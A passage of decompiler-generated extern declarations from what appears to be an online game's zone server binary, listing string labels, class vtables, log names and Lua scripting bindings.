__formal); // weak extern int (__cdecl *EnchantSocketRateTable::_vftable_)(int __formal); // weak extern char aChrlghk[]; // idb extern char aZoneserverZ_11[]; // idb extern char aCode[]; // idb extern char aDesert[]; // idb extern char aI64d[]; // idb extern char aNatural[]; // idb extern char aSoftwareGbo[]; // idb extern char aDD_2[]; // idb extern char act[]; // idb extern int (__cdecl *AccUpGradeInfoTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Player::_vftable_)(int __formal); // weak extern char aFailToRead[]; // idb extern char aGtwinscore_shn[]; // idb extern char aGtibreedsubjec[]; // idb extern char aGtiserver_shn[]; // idb extern char aGtigetrategap_[]; // idb extern char aGtigetrate_shn[]; // idb extern char aGuildtourna_14[]; // idb extern char aGuildtourna_13[]; // idb extern char aGuildtournam_6[]; // idb extern char aGuildtourna_21[]; // idb extern char pkChar[]; // idb extern char aMysteryvaultse[]; // idb extern char aBelongdice_shn[]; // idb extern char aPkquestlvgap_s[]; // idb extern char aDamagelvgappvp[]; // idb extern char aDamagelvgapevp[]; // idb extern char aDamagelvgappve[]; // idb extern char aProdsucrate_sh[]; // idb extern char aAccupgrade_shn[]; // idb extern char aAccupgradeinfo[]; // idb extern char aZoneserverZo_5[]; // idb extern char aZoneserverZs_i[]; // idb extern char aEnchantsocke_1[]; // idb extern char dataHeroS::a[]; // idb extern char aItemactionsDat[]; // idb extern char aItemactionElem[]; // idb extern char aActionAddcondi[]; // idb extern char aInvalidItemact[]; // idb extern char aActionAddeffec[]; // idb extern char aInvalidItema_1[]; // idb extern char aFailToReadShnD[]; // idb extern char aActioneffectab[]; // idb extern char aActioneffectit[]; // idb extern char aSeteffect_shn[]; // idb extern char aFailToReadAdmi[]; // idb extern char a__9dataHeroAdm[]; // idb extern char aFailToReadReac[]; // idb extern char a__9dataHeroRea[]; // idb extern char aFailToReadNpcs[]; // idb extern char a__9dataHeroN_1[]; // idb extern char aFailToReadGb_2[]; // idb extern char a__9dataHeroG_3[]; // idb extern char aFailToReadGb_1[]; // idb extern char a__9dataHeroG_0[]; // idb extern char aFailToReadGbdi[]; // idb extern char dataHeroG::a[]; // idb extern char aFailToReadGbjo[]; // idb extern char a__9dataHeroGbj[]; // idb extern char aFailToReadGbex[]; // idb extern char dataHeroG::a[]; // idb extern char aFailToReadGbho[]; // idb extern char a__9dataHeroGbh[]; // idb extern char aFailToReadMapw[]; // idb extern char a__9dataHero_12[]; // idb extern char aFailToReadMapl[]; // idb extern char a__9dataHero_36[]; // idb extern char aFailToReadAu_2[]; // idb extern char a__9dataHeroA_0[]; // idb extern char aFailToReadAu_1[]; // idb extern char a__9dataHeroA_1[]; // idb extern char aFailToReadAuct[]; // idb extern char a__9dataHeroAuc[]; // idb extern char aFailToReadActi[]; // idb extern char a__9dataHeroA_3[]; // idb extern char aItemaction_shn[]; // idb extern char aItemactionef_2[]; // idb extern char aItemactionco_0[]; // idb extern char aActionrangef_0[]; // idb extern char fileName[]; // idb extern char aZoneserverZo_2[]; // idb extern char aZoneserverZ_14[]; // idb extern char a__9dataHeroW_3[]; // idb extern char aMobaggrolog[]; // idb extern char aSkilllog[]; // idb extern char aKqlog[]; // idb extern char aPacketlog[]; // idb extern char aZoneringlinklo[]; // idb extern char aMobregenlog[]; // idb extern char aLoginlinklog[]; // idb extern char aServicelog[]; // idb extern char aDisconnectlog[]; // idb extern char aDisconnectlog2[]; // idb extern char aWmspacketlog[]; // idb extern char aLinklog[]; // idb extern char aAbstate2wms[]; // idb extern char aGoldhilllog[]; // idb extern char aMaprelink[]; // idb extern char aPassivelog[]; // idb extern char aFuncinitlog[]; // idb extern char aTreasureboxlog[]; // idb extern char aGuildwarlog[]; // idb extern char aGuildwarlog2[]; // idb extern char aGuildwarlog3[]; // idb extern char aCharclassbuglo[]; // idb extern char aChargeditemvan[]; // idb extern char aHorselog[]; // idb extern char aHplog[]; // idb extern char aAttackfaillog[]; // idb extern char aScriptchase[]; // idb extern char aSkillcastnotfi[]; // idb extern char aOptoolsocklog[]; // idb extern char aPartyerrorlog[]; // idb extern char aKqrewardlog[]; // idb extern char aDeadchecklog[]; // idb extern char aDropitemlog[]; // idb extern char aBriefchangeinb[]; // idb extern char aAbstatkeeptime[]; // idb extern char aKqentrylog[]; // idb extern char aKqtournamentlo[]; // idb extern char aPlayerregnumlo[]; // idb extern char aHpcharge[]; // idb extern char aKqlogoutlog[]; // idb extern char aAttackimmortal[]; // idb extern char aMoredisconnect[]; // idb extern char aPartyinformlog[]; // idb extern char aWmhrepairlog[]; // idb extern char aInnerminihouse[]; // idb extern char aItemreloclog[]; // idb extern char aMobitemdroplog[]; // idb extern char aGuildwarrefres[]; // idb extern char aPacketlengthov[]; // idb extern char aSocketmultipli[]; // idb extern char aHolypromiselog[]; // idb extern char aLockindexlog[]; // idb extern char aGuildtournam_4[]; // idb extern char aShineobjecthan[]; // idb extern char aShinenetcomman[]; // idb extern char aShinebriefinfo[]; // idb extern char aShineclasschan[]; // idb extern char aNormallogoutlo[]; // idb extern char aDebuglog[]; // idb extern char aCannouncesys_1[]; // idb extern char aCannouncesyste[]; // idb extern char aShineobjectS_0[]; // idb extern char aShineplayer_58[]; // idb extern char aShineobjectS_1[]; // idb extern char aShineplayer_26[]; // idb extern int (__stdcall *CQuestZone::_vftable_)(int itm); // weak extern char aCquestzoneIn_1[]; // idb extern char aCquestzoneInit[]; // idb extern char aCquestzoneQ_14[]; // idb extern char aCquestzoneQ_25[]; // idb extern char aCquestzoneQ_21[]; // idb extern char aCquestzoneQ_32[]; // idb extern char aCquestzoneQ_12[]; // idb extern char aCquestzoneGetp[]; // idb extern char aCquestzoneGetq[]; // idb extern char aCquestzoneGe_1[]; // idb extern char aCquestzoneGets[]; // idb extern char aCquestzoneSe_2[]; // idb extern char aCquestzoneSend[]; // idb extern char aCquestzoneS_19[]; // idb extern char aCquestzoneSe_6[]; // idb extern char aCquestzoneS_17[]; // idb extern char aCquestzoneS_10[]; // idb extern char aCquestzoneRe_5[]; // idb extern char aCquestzoneS_13[]; // idb extern char aCquestzoneS_20[]; // idb extern char aCquestzoneSe_7[]; // idb extern char aCquestzoneRe_6[]; // idb extern char aCquestzoneSe_1[]; // idb extern char aCquestzoneSe_5[]; // idb extern char aCquestzoneS_12[]; // idb extern char aCquestzoneS_21[]; // idb extern char aCquestzoneSe_8[]; // idb extern char aCquestzoneS_15[]; // idb extern char aCquestzoneRe_4[]; // idb extern char aCquestzoneS_18[]; // idb extern char aCquestzoneS_14[]; // idb extern char aCquestzoneS_22[]; // idb extern char aCquestzoneSe_4[]; // idb extern char aCquestzoneMake[]; // idb extern char aCquestzoneMa_2[]; // idb extern char aCquestzoneMa_0[]; // idb extern char aCquestzoneMa_4[]; // idb extern char aCquestzoneMa_1[]; // idb extern char aSDS_1[]; // idb extern char aCquestzonePsst[]; // idb extern char aCquestzoneSe_9[]; // idb extern char aCquestzoneQ_28[]; // idb extern char aCquestzoneQ_33[]; // idb extern char aCquestzoneQ_24[]; // idb extern char aCquestzoneQ_11[]; // idb extern char aCquestzoneQu_3[]; // idb extern char aCquestzoneQ_26[]; // idb extern char aCquestzoneQ_15[]; // idb extern char aCquestzoneQ_22[]; // idb extern char aCquestzoneQ_29[]; // idb extern char aCquestzoneQ_37[]; // idb extern char aCquestzoneQu_6[]; // idb extern char aCquestzoneS_16[]; // idb extern char aErrorRecv_nc_q[]; // idb extern char aCquestzoneRecv[]; // idb extern char aCquestzoneRe_8[]; // idb extern char aCquestzoneQ_27[]; // idb extern char aPromoteJobch_0[21]; // weak extern char aCquestzoneQu_4[]; // idb extern char aPromoteJobch_3[21]; // weak extern char aCquestzoneQ_38[]; // idb extern char aPromoteJobch_1[21]; // weak extern char aCquestzoneQ_34[]; // idb extern char aCquestzoneQ_23[]; // idb extern char aPromoteJobchan[19]; // weak extern char aCquestzoneQu_9[]; // idb extern char aCquestzoneQ_35[]; // idb extern char aCquestzoneQu_0[]; // idb extern char aCquestzoneQ_10[]; // idb extern char aCquestzoneQ_13[]; // idb extern char aCquestzoneQ_30[]; // idb extern char aCquestzoneQu_5[]; // idb extern char aCquestzoneQu_2[]; // idb extern char aCquestzoneQ_31[]; // idb extern char aCquestzoneQ_18[]; // idb extern char aCquestzoneQ_16[]; // idb extern char aCquestzoneQ_36[]; // idb extern char aCquestzoneQ_20[]; // idb extern char aCquestzoneQ_19[]; // idb extern char aErrorRecv_nc_1[]; // idb extern char aErrorCquestzon[59]; // idb extern char aCquestzoneRe_3[]; // idb extern char aErrorCquestz_1[51]; // idb extern char aCquestzoneNc_q[]; // idb extern char aCquestzoneR_10[]; // idb extern char aCquestzoneRe_1[]; // idb extern char aCquestzonePsen[]; // idb extern char asc_67D408[]; // idb extern char aCquestzoneProt[]; // idb extern char aCquestzoneQu_7[]; // idb extern char aCquestzoneQu_8[]; // idb extern char aCquestzoneQues[]; // idb extern char aCquestzoneRe_2[]; // idb extern char aCquestzoneSe_0[]; // idb extern char aCquestzoneSe_3[]; // idb extern char aCquestzoneRe_7[]; // idb extern char aCquestzoneRe_0[]; // idb extern char aCquestzoneQ_17[]; // idb extern char aQuestlog[]; // idb extern int (__thiscall *NPCAction::DispelAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionlAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::AbStateAction::_vftable_)(void *p, char); // weak extern char aSkillactionS_1[]; // idb extern char aSkillactionSki[]; // idb extern int (__thiscall *NPCAction::SkillAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DieAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GTItemAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DamageAbsorbAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::BallAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::InteractAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::NoticeAction::_vftable_)(void *p, char); // weak extern char aActiongen_op_2[]; // idb extern char aBall[]; // idb extern char aDmgabsorb[]; // idb extern char aGtieffect_1[]; // idb extern char aDie[]; // idb extern char aNotice[]; // idb extern char aActiongen_op_0[]; // idb extern char aActiongen_op_4[]; // idb extern char aAbstate_1[]; // idb extern char aEmotion[]; // idb extern char aLink[]; // idb extern char aActiongen_op_1[]; // idb extern char aActiongen_opti[]; // idb extern char aDispell[]; // idb extern char aNpcaction[]; // idb extern int (*NPCAction::ICondition::_vftable_[3])(); // weak extern int (__thiscall *NPCAction::NoneCondition::_vftable_)(void *p, char); // weak extern char aNoneconditionC[]; // idb extern int (__thiscall *NPCAction::ABStateCondition::_vftable_)(void *p, char); // weak extern char aAbstateconditi[]; // idb extern int (__thiscall *NPCAction::LvGapCondition::_vftable_)(void *p, char); // weak extern char aLvgapcondition[]; // idb extern int (__thiscall *NPCAction::ClassCondition::_vftable_)(void *p, char); // weak extern char aClasscondition[]; // idb extern int (__thiscall *NPCAction::SkillCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GT_TeamCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::CheckCyclePartyCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::LocationCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DeadCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DamageApplyCondition::_vftable_)(void *p, char); // weak extern char aCondgen_opti_0[]; // idb extern char aLocation_1[]; // idb extern char aCheckcyclepart[]; // idb extern char aGtiteam[]; // idb extern char aNone_1[]; // idb extern char aDefault[]; // idb extern char aCondgen_opti_4[]; // idb extern char aCondgen_opti_3[]; // idb extern char aClass[]; // idb extern char aLvgap[]; // idb extern char aCondgen_opti_2[]; // idb extern char aCondgen_option[]; // idb extern char aTerm[]; // idb extern char aNpccondition[]; // idb extern int (__stdcall *NeighborhoodChecker::_vftable_)(#593 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); // weak extern char aNeighborhoodch[]; // idb extern int (__thiscall *NPCAction::Trigger::_vftable_)(void *p, char); // weak extern char a__9dataHeroM_8[]; // idb extern char aNpcactionUtilL[]; // idb extern char aZoneserverZ_18[]; // idb extern char a__9dataHeroM_7[]; // idb extern char aNpcactionTri_1[]; // idb extern char aDotriggers_Ope[]; // idb extern char aTriggergen_o_1[]; // idb extern char aTriggergen_o_2[]; // idb extern char aTriggergen_o_5[]; // idb extern char aTriggergen_o_0[]; // idb extern char aTriggergen_o_3[]; // idb extern char aTriggergen_opt[]; // idb extern char aTrigger[]; // idb extern char aDwordAccupgrad[]; // idb extern char aAccupgradein_1[]; // idb extern char aGuildtournam_3[]; // idb extern char aGuildtourna_19[]; // idb extern char aGuildtourna_10[]; // idb extern char aGtigetrateta_0[]; // idb extern char aGtigetrateta_2[]; // idb extern char aGtigetratetabl[]; // idb extern char aGuildtournam_7[]; // idb extern int (__stdcall *EnchantSocketRateTable::EnchantSocketRateDataChild::_vftable_)(__int16 ItemID); // weak extern char aEnchantsocke_2[]; // idb extern char aMysteryvaultta[]; // idb extern char aMysteryboltt_1[]; // idb extern char aMysteryboltt_4[]; // idb extern char aMysteryboltt_6[]; // idb extern char aMysterybolttab[]; // idb extern char aNavigatorPat_1[]; // idb extern char aNavigatorPathf[]; // idb extern char aNavigatorMap_2[]; // idb extern char aNavigatorWaiti[]; // idb extern char aNavigatorWai_0[]; // idb extern char aNavigatorWai_2[]; // idb extern char aNavigatorMap_3[]; // idb extern char aNavigatorPatha[]; // idb extern char aNavigatorMap_0[]; // idb extern char aNavigatorMapna[]; // idb extern char aNavigatorVirtu[]; // idb extern char aNavigatorVir_2[]; // idb extern char aNavigatorVir_0[]; // idb extern char aCcharacterti_1[]; // idb extern char aCcharacterti_4[]; // idb extern char aCcharacterti_3[]; // idb extern char aCcharactertitl[]; // idb extern char aCcharacterti_0[]; // idb extern char aSend_nc_ct_d_1[]; // idb extern char aSend_nc_ct_db_[]; // idb extern char aCcharacterti_5[]; // idb extern char aCcharacterti_6[]; // idb extern char asc_67E3AC[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *CGuildZone::_vftable_)(CGuildZone *this, int pCmd); // weak extern char aCguildzoneClea[]; // idb extern char aCguildzoneSe_1[]; // idb extern char aCguildzoneSend[]; // idb extern char aCguildzoneRecv[]; // idb extern char aCguildzoneRe_1[]; // idb extern char aRaidtaskRt_bro[]; // idb extern char aRaidtaskRt_sen[]; // idb extern char aRaidtaskRt_add[]; // idb extern char aRaidtaskRt_del[]; // idb extern int (__thiscall *IObjectTypeValidator::_vftable_)(void *p, char); // weak extern int (__thiscall *TargetTypeValidator::_vftable_)(void *p, char); // weak extern int (__thiscall *MobGradeTypeValidator::_vftable_)(void *p, char); // weak extern int (__thiscall *MobTypeValidator::_vftable_)(void *p, char); // weak extern int (__thiscall *CharClassValidator::_vftable_)(void *p, char); // weak extern int (__thiscall *IActCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *ActiveSkillGroupCondition::_vftable_)(void *p, char); // weak extern char aActionrangef_2[]; // idb extern char aCannotFindActi[]; // idb extern char aCannotFindItem[]; // idb extern int (__thiscall *RangeCondition::_vftable_)(void *p, char); // weak extern char aMakecondition[]; // idb extern char aUnexpectedCond[]; // idb extern char aActionrangef_3[]; // idb extern char aActionrangefac[]; // idb extern char aItemactionco_2[]; // idb extern char aItemactioncond[]; // idb extern int (__stdcall *IAxialListNearExecution::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearExecution_Enemy::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearExecution_Party::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearExecution_EnemyGuild::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearExecution_MyGuild::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearExecution_MyRaid::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *IActEffect::_vftable_)(void *p, char); // weak extern int (__stdcall *AxialListNearExecution_All::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AttackTypeEffect::_vftable_)(void *p, char); // weak extern int (__thiscall *RecoverTypeEffect::_vftable_)(void *p, char); // weak extern int (__thiscall *AbStateTypeEffect::_vftable_)(void *p, char); // weak extern int (__thiscall *DispelAttrTypeEffect::_vftable_)(void *p, char); // weak extern int (__thiscall *ActionImpowerTypeEffect::_vftable_)(void *p, char); // weak extern char aUnknownEffect_[]; // idb extern int (__thiscall *ActionEffectTypeEffect::_vftable_)(void *p, char); // weak extern char aUnknownEffec_1[]; // idb extern char aActionetctypeE[34]; // weak extern char aMakeeffect[]; // idb extern char aUseTargettypeF[]; // idb extern char aCannotFindIt_1[]; // idb extern char aItemactionef_1[]; // idb extern char aItemactioneffe[]; // idb extern int (__thiscall *ItemActionObserve::_vftable_)(void *p, char); // weak extern char aItemactionob_0[]; // idb extern char aItemactionob_8[]; // idb extern char aItemactionob_2[52]; // weak extern int (__stdcall *ItemActionObserveBuffer::_vftable_[3])(__int16 hnd); // weak extern char aItemactionob_4[]; // idb extern char aItemactionob_6[]; // idb extern char aItemactionob_7[]; // idb extern char aItemactionob_5[]; // idb extern char aItemactionob_1[]; // idb extern char aItemactionob_9[]; // idb extern char aItemactionobse[]; // idb extern char aBossfieldcon_0[]; // idb extern char asc_67EBA4[]; // idb extern char asc_67EBDC[]; // idb extern char asc_67EC0C[]; // idb extern char asc_67EC3C[]; // idb extern char asc_67EC70[]; // idb extern char asc_67ECA4[]; // idb extern char asc_67ECE0[]; // idb extern char aHpregen[8]; // weak extern char aMr[3]; // weak extern char aAc[3]; // weak extern char aMobexp[7]; // weak extern char aHp_3[3]; // weak extern char asc_67ED34[]; // idb extern char asc_67ED68[]; // idb extern char asc_67EDA4[]; // idb extern char asc_67EDDC[]; // idb extern char asc_67EE14[]; // idb extern char asc_67EE50[]; // idb extern char asc_67EE90[]; // idb extern char aMobtargetsel_0[]; // idb extern char aBossfieldcon_6[]; // idb extern char aBossfieldcon_5[]; // idb extern char asc_67EF70[]; // idb extern char asc_67EFA0[]; // idb extern char aBossfieldcon_8[]; // idb extern char asc_67F00C[]; // idb extern char asc_67F040[]; // idb extern char aEntrance[]; // idb extern char asc_67F07C[]; // idb extern char asc_67F0A8[]; // idb extern char aServentbuffb_1[]; // idb extern char aServentbuffb_3[]; // idb extern char aServentbuffb_2[]; // idb extern char aServentbuffbos[]; // idb extern char a__9dataHeroSta[]; // idb extern char aBossfieldconte[]; // idb extern char aBossfieldcon_7[]; // idb extern char aBossfieldco_14[]; // idb extern char aBossfieldcon_3[]; // idb extern char a__9dataHeroMob[]; // idb extern char aBossfieldco_15[]; // idb extern char aBossfieldco_11[]; // idb extern char aBossfieldcon_2[]; // idb extern char aBossfieldcon_9[]; // idb extern char aBossfieldco_13[]; // idb extern char aMobtargetbou_4[]; // idb extern char aBossfieldco_10[]; // idb extern char aBossfieldcon_4[]; // idb extern char a__9dataHero_33[]; // idb extern char aBossfieldco_12[]; // idb extern char aScriptS[]; // idb extern char aSS[]; // idb extern int (__stdcall *AxialListNPCSearch::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialQuesterFind::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListKQEndLua::_vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); // weak extern int (__stdcall *AxialListMobIndexVanish::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListEnemyInAray::_vftable_)(int, int, int distancesquar); // weak extern void *LuaScriptArgument::LuaArgumentDefault::_vftable_; // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentInstanceDungeon::_vftable_[2])(int L); // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentFuncExec::_vftable_[2])(int L); // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentMobAI::_vftable_[2])(int L); // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentNPCClick::_vftable_[2])(int L); // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentItemUse::_vftable_[2])(int L); // weak extern int (__stdcall *LuaScriptArgument::LuaArgumentNPCMenu::_vftable_[2])(int L); // weak extern char aRjerlthreh[]; // idb extern char aEkfflrlthreh[]; // idb extern char aZs_start_sun[]; // idb extern char aZs_start_tough[]; // idb extern char aZs_start_sleep[]; // idb extern char aZs_start_home[]; // idb extern char aZs_start_long[]; // idb extern char aZs_start_sky[]; // idb extern char aZs_start_wide[]; // idb extern char aZs_start_black[]; // idb extern char aZs_start_sink[]; // idb extern char aZs_start_open[]; // idb extern char aZs_start_yello[]; // idb extern char aZs_start_house[]; // idb extern char aZs_start_earth[]; // idb extern char aZs_start_star[]; // idb extern char aZs_start_full[]; // idb extern char aZs_start_moon[]; // idb extern char aZs_service_cer[]; // idb extern char aZs_service_sta[]; // idb extern char aZs_service_ioc[]; // idb extern char aZs_service_mai[]; // idb extern char aZs_service_acc[]; // idb extern char aZs_service_mul[]; // idb extern char aDhsmfskfwk[]; // idb extern char aFpwltmxmcheck[]; // idb extern char var[]; // idb extern int (*LuaScriptScenario::_vftable_)(); // weak extern char aCluabroadcast[]; // idb extern char aTonumber[]; // idb extern char aCexeccheck[]; // idb extern char aQuesteventS[]; // idb extern char aCdebuglog[]; // idb extern char aCmobregen_xy[]; // idb extern char aCmobregen_obj[]; // idb extern char aCdistancesquar[]; // idb extern char aCplayerexist[]; // idb extern char aCnpcvanish[]; // idb extern char aCcursec[]; // idb extern char aCcurrentsecond[]; // idb extern char aAxiallistnpc_1[]; // idb extern char aAxiallistnpcse[]; // idb extern char aCgetnpchandle[]; // idb extern char aAxialquester_1[]; // idb extern char aAxialquesterfi[]; // idb extern char aCgetquesthero_[]; // idb extern char aCgetquesther_1[]; // idb extern char aCgetplayername[]; // idb extern char aCaggroset[]; // idb extern char aCisobjectdead[]; // idb extern char aCobjecthp[]; // idb extern char aCsetabstate[]; // idb extern char aCdropitem[]; // idb extern char aCobjectlocate[]; // idb extern char aCrunto[]; // idb extern char aCpermilerate[]; // idb extern char aCismovable[]; // idb extern char aCservermenu[]; // idb extern char aCgetitemlot[]; // idb extern char aCsetnpcisitemd[]; // idb extern char aRestbminus[11]; // weak extern char aResknockback[13]; // weak extern char aResseverbone[13]; // weak extern char aResmesmerize[13]; // weak extern char aResreverse[11]; // weak extern char aResbinding[11]; // weak extern char aResfear[8]; // weak extern char aResmovespeed[13]; // weak extern char aResstun[8]; // weak extern char aResdot[7]; // weak extern char aCsetnpcresist[]; // idb extern char aCnpcchattest[]; // idb extern char aCmobdialog[]; // idb extern char aCmobdialog_o_1[]; // idb extern char aCmobdialog_obj[]; // idb extern char aCmobshout[]; // idb extern char aCcameramove[]; // idb extern char aCsetaiscript[]; // idb extern char aCfollow[]; // idb extern char aCdoorbuild[]; // idb extern char aCdooraction[]; // idb extern char aCgetareaobje_1[]; // idb extern char aCscriptmessage[]; // idb extern char aCnpcmenuopen[]; // idb extern char aCcastingbar[]; // idb extern char aCtimer[]; // idb extern char aCtimer_objPack[]; // idb extern char aStop[5]; // weak extern char aStart[6]; // weak extern char aCanimate[]; // idb extern char aCgroupregenins[]; // idb extern char aClinkto[]; // idb extern char aCsetdeaddelayt[]; // idb extern char aCgetaroundcoor[]; // idb extern char aCgetdirect[]; // idb extern char aCheal[]; // idb extern char aCsetfieldpktyp[]; // idb extern char aCmobregen_circ[]; // idb extern char aCisequipitem[]; // idb extern char aCmobchat[]; // idb extern char aCobjectcount[]; // idb extern char aCmobsuicide[]; // idb extern char aFail_1[5]; // weak extern char aSuccess_2[8]; // weak extern char aCquestresult[]; // idb extern char aCrandomint[]; // idb extern char aCaiscriptset[]; // idb extern char aCresetabstate[]; // idb extern char aCisinmap[]; // idb extern char aCisinbattle[]; // idb extern char aCnpcskilluse[]; // idb extern char aCabstaterestti[]; // idb extern char aCmessage[]; // idb extern char aCnpcchat[]; // idb extern char aCgroupregen[]; // idb extern char aCregengroupact[]; // idb extern char aAxiallistmob_1[]; // idb extern char aAxiallistmobin[]; // idb extern char aCvanishall[]; // idb extern char aCsetnpcparam[]; // idb extern char aCobjecttype[]; // idb extern char aNpcclick[9]; // weak extern char aCaiscriptfunc[]; // idb extern char aCskillblast[]; // idb extern char aCeffectregen_x[]; // idb extern char aAxiallistenemy[]; // idb extern char aCgettargetlist[]; // idb extern char aCdamaged[]; // idb extern char aMh[3]; // weak extern char aMaxma[6]; // weak extern char aMinma[6]; // weak extern char aTh[3]; // weak extern char aMaxwc[6]; // weak extern char aMinwc[6]; // weak extern char aCskilldamageca[]; // idb extern char aCmagicfieldspr[]; // idb extern int (__stdcall *AxialListObjectCollect::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListPlayerList::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListAreaObjectList::_vftable_)(int, int, int distancesquar); // weak extern char aCgetplayerlist[]; // idb extern char aCgetareaobject[]; // idb extern char aCaggrolist[]; // idb extern char aSo_objecttype[]; // idb extern char aSo_mobile_geti[]; // idb extern char aCobjectfind[]; // idb extern char aItemuse[8]; // weak extern char aJump[5]; // weak extern char aChat[5]; // weak extern char aCtriggerregist[]; // idb extern char aAxiallistplaye[]; // idb extern char aAxiallistareao[]; // idb extern char aCinvenitemdest[]; // idb extern char aCassertlog[]; // idb extern char aCtimer_obj[]; // idb extern char aCtargethandle[]; // idb extern char aCmobidfind[]; // idb extern const long double version; extern char fmt[]; // idb extern char a_[]; // idb extern char asc_68004C[]; // idb extern char aFunctionSD[]; // idb extern char aMainChunk[]; // idb extern char aFunctionS[]; // idb extern char a___tailCalls__[]; // idb extern char aIn[]; // idb extern char aD_2[]; // idb extern char aS_8[]; // idb extern char aSlnt[]; // idb extern char a___[]; // idb extern char s[]; // idb extern char aSD[]; // idb extern char aSl[]; // idb extern char aSS_2[]; // idb extern char aExit[]; // idb extern char aStackOverflow[]; // idb extern char aStackOverflowS[]; // idb extern char aBufferTooLarge[]; // idb extern char aCannotSSS[]; // idb extern char aQ[4]; // weak extern char a_S[]; // idb extern char what[]; // idb extern char aStdin[]; // idb extern char aObjectLengthIs[]; // idb extern char aSP[]; // idb extern char aNil[]; // idb extern char event[]; // idb extern char a_loaded[]; // idb extern char aBadConversionN[]; // idb extern char aVersionMisma_1[]; // idb extern char aMultipleLuaVms[]; // idb extern char aBadArgumentDTo[]; // idb extern char aCallingSOnBadS[]; // idb extern char aMethod[7]; // weak extern char aN[]; // idb extern char aBadArgumentDS[]; // idb extern char aSExpectedGotS[]; // idb extern char extramsg[]; // idb extern char aInvalidOptionS[]; // idb extern const char *const opts[12]; extern const int optsnum[11]; extern luaL_Reg base_funcs; extern char aTostring[]; // idb extern char aTostringMustRe[]; // idb extern char asc_68059C[2]; // idb extern char asc_6805A0[]; // idb extern char aBaseOutOfRange[]; // idb extern char a__metatable[]; // idb extern char aCannotChangeAP[]; // idb extern char aNilOrTableExpe[]; // idb extern char aTableOrStringE[]; // idb extern char a__pairs[]; // idb extern char a__ipairs[]; // idb extern char aReaderFunction[]; // idb extern char aTooManyNestedF[]; // idb extern char aLoad[]; // idb extern char def[]; // idb extern char aAssertionFaile[]; // idb extern char aIndexOutOfRang[]; // idb extern char a_version[]; // idb extern char aLua5_2[]; // idb extern char k[]; // idb extern luaL_Reg bitlib; extern char aTryingToAccess[]; // idb extern char aWidthMustBePos[]; // idb extern char aFieldCannotBeN[]; // idb extern char aControlStructu[]; // idb extern char aOpcodes[]; // idb extern char aFunctionOrExpr[]; // idb extern char aConstants[]; // idb extern char aConstructorToo[]; // idb extern luaL_Reg co_funcs; extern char aRunning[8]; // weak extern char aTooManyResults[]; // idb extern char aCannotResumeDe[]; // idb extern char aTooManyArgumen[]; // idb extern char aCoroutineExpec[]; // idb extern char aSuspended[]; // idb extern char aNormal_1[7]; // weak extern char aDead_2[5]; // weak extern char byte_680949[]; // weak extern const char *const hooknames[5]; extern luaL_Reg dblib; extern char aFullUserdataEx[]; // idb extern char aFunctionOrLeve[]; // idb extern char aFunc[]; // idb extern char aActivelines[]; // idb extern char aIstailcall[]; // idb extern char aNamewhat[]; // idb extern char aName_1[]; // idb extern char aIsvararg[]; // idb extern char aNparams[]; // idb extern char aNups[]; // idb extern char aCurrentline[]; // idb extern char aWhat[]; // idb extern char aLastlinedefine[]; // idb extern char aLinedefined[]; // idb extern char aShort_src[]; // idb extern char aSource[]; // idb extern char aInvalidOption[]; // idb extern char aS_0[]; // idb extern char aFlnstu[]; // idb extern char aLevelOutOfRang[]; // idb extern char aInvalidUpvalue[]; // idb extern char aU[]; // idb extern char aLuaFunctionExp[]; // idb extern char a_hkey[]; // idb extern char a__mode[]; // idb extern char aK[]; // idb extern char aExternalHook[]; // idb extern char aDebugCommand[]; // idb extern char aCont[6]; // weak extern char aVararg[10]; // weak extern char aTemporary[13]; // weak extern char aC[5]; // weak extern char aLua_0[4]; // weak extern char a__0[3]; // weak extern char aConstant[9]; // weak extern char aUpvalue[8]; // weak extern char aField[6]; // weak extern char aGlobal[7]; // weak extern char a_env[]; // idb extern char aLocal[6]; // weak extern char aMetamethod[11]; // weak extern char aForIterator[13]; // weak extern char aSDS[]; // idb extern char aAttemptToSSSAS[]; // idb extern char aAttemptToSASVa[]; // idb extern char op[]; // idb extern char aPerformArithme[]; // idb extern char aAttemptToCom_1[]; // idb extern char aAttemptToCompa[]; // idb extern char aErrorInErrorHa[]; // idb extern char aAttemptToYie_1[]; // idb extern char aAttemptToYield[]; // idb extern char aAttemptToLoadA[]; // idb extern char aBinary[7]; // 